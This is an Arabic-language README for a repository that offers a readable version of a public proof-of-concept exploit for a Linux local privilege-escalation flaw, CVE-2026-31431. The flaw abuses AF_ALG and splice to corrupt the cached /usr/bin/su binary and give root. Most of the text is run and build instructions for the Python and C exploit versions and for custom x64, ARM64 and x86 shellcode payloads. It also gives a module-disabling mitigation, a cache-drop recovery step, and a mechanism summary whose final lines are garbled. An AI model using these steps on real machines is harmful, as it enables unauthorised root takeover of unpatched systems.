
نسخة سهلة الفهم من CVE-2026-31431
نسخة سهلة الفهم من CVE-2026-31431، وهي تقنية لتصعيد الامتيازات تسمح لأي شخص بأن يصبح root. الإثبات الأصلي للمفهوم موجود هنا: https://github.com/theori-io/copy-fail-CVE-2026-31431، لكنه مضغوط ومصغّر بشدة ليصبح أصغر حجم ممكن. يحاول هذا المستودع تفكيك ذلك الكود بطريقة أكثر قابلية للقراءة، بما في ذلك ما يفعله الكود، وكيفية تحميل الحمولة، وكيفية استهداف معماريات مختلفة. اطّلع على الشرح الفني الأكثر تفصيلاً هنا: https://xint.io/blog/copy-fail-linux-distributions.
افتراضياً، تشغيل python3 copyfail.py سيشغّل شيلكود x64 يستهدف /usr/bin/su. يمكنك توفير حمولة خاصة بك عن طريق تشغيل python3 copyfail.py [path/to/custom/payload.elf]. كمثال، يوجد تجميع شيلكود ARM64 داخل payloads/. لذا لاختبار الأجهزة ذات معمارية ARM64، يجب أولاً بناء حمولة مصغّرة باستخدام سكريبت الرابط المخصص لدينا:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
ثم يمكنك تشغيل الاستغلال الأساسي باستخدام python3 copyfail.py shellcode_aarch64.elf.
لتشغيل النسخة المطوّرة بلغة C:
./c_copyfail والذي يشغّل نفس الشيلكود الافتراضي أعلاه../c_copyfail [path/to/custom/payload.elf].لبناء نسخة C:
cd c_port
make
تحديداً، هذا يجمّع ملف .S الهدف إلى ملف ثنائي خام يُخرَج كمصفوفة unsigned char بلغة C:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
أو، لمعمارية x86 32 بت:
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
يمكنك بعد ذلك نسخ محتويات هذا الملف إلى كود المصدر الخاص بك، أو يمكنك ببساطة تشغيل ./c_copyfail.exe [path/to/payload.elf] مباشرةً حيث payload.elf يولّد من as + ld وليس من gcc + objcopy.
لتجنّب الاستغلال، شغّل:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
إذا تم الاستغلال بالفعل، يمكنك إعادة تشغيل الجهاز، أو تشغيل:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice()، تضع النواة صفحات ذاكرة التخزين المؤقت الفعلية للملف الذي تم إلحاقه (spliced) في منطقة عمل التشفير/usr/bin/su في هذه الحالة)/usr/bin/su، تقرأه النواة من ذاكرة التخزين المؤقت وتحصل على بايتات معدّلة/usr/bin/su ليصبح UID = 0 (root)الملف الثنائي su تم إفساده في الذاكرة، لذا لن يتم اكتشاف تعديل الملف. لاستعادته من القرص، يمكنك تفريغ ذاكرة التخزين المؤقت للصفحات.